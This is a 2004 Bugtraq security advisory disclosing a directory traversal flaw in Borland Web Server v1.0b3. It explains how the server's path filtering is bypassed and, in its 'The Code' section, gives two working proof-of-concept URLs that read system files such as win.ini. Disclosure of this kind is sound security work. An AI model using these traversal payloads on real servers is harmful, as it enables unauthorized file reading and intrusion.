bugtraq - BWS v1.0b3 Directory Transversal Vulnerability

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Message-ID: <001701c3e2ab$b90121d0$0b3016ac@fucku>
Date: Sat, 24 Jan 2004 20:56:06 +0200
From: "Rafel Ivgi, The-Insider" <theinsider@....net.il>
To: "bugtraq" <bugtraq@...urityfocus.com>
Cc: "securitytracker" <bugs@...uritytracker.com>
Subject: BWS v1.0b3 Directory Transversal Vulnerability

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application:   BWS (Borland Web Server / (Corel Paradox)
Vendors:
http://www.Borland.com
http://www.Corel.com
Corporate mergers confuses the specified vendor.

Versions:        <= 1.0b3
Platforms:       Windows
Bug:                 Directory Transversal Vulnerability
Risk:                High
Exploitation:   remote with browser
Date:               24 Jan 2004
Author:            Rafel Ivgi, The-Insider
e-mail:             the_insider@...l.com
web:                http://theinsider.deep-ice.com

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1) Introduction
2) Bug
3) The Code

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===============
1) Introduction
===============

BWS is an old web server used as a webserver for "Corel Paradox relational
database web interface".
This server was version was built in year 98, and is mostly running on
win98.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

======
2) Bug
======

The webserver uses a protection to avoid the directory traversal bug.
"//"  is replaced to  ""
"\." and "\.."  is replaced to  ""
"\"  is replaced to  "/"
"\\"  is replaced to  "//"
The server is also protected from classic Directory Transversal "/../".

The problem happens when the attacker uses the pattern:
"/..................../"
Or
"/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c"   (Encoded version of
"\..\..\..\..\").

Which allows him to see and download any file in the remote system knowing
the path.
This allows any attacker to : Read and download any local file, and in most
cases retrieve the machine's password files and invade it (using
ssh,ftp,http,netbios,samba etc...).

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===========
3) The Code
===========

http://<host>/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini
http://<host>/..................../autoexec.bat

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

---
Rafel Ivgi, The-Insider
http://theinsider.deep-ice.com

"Things that are unlikeable, are NOT impossible."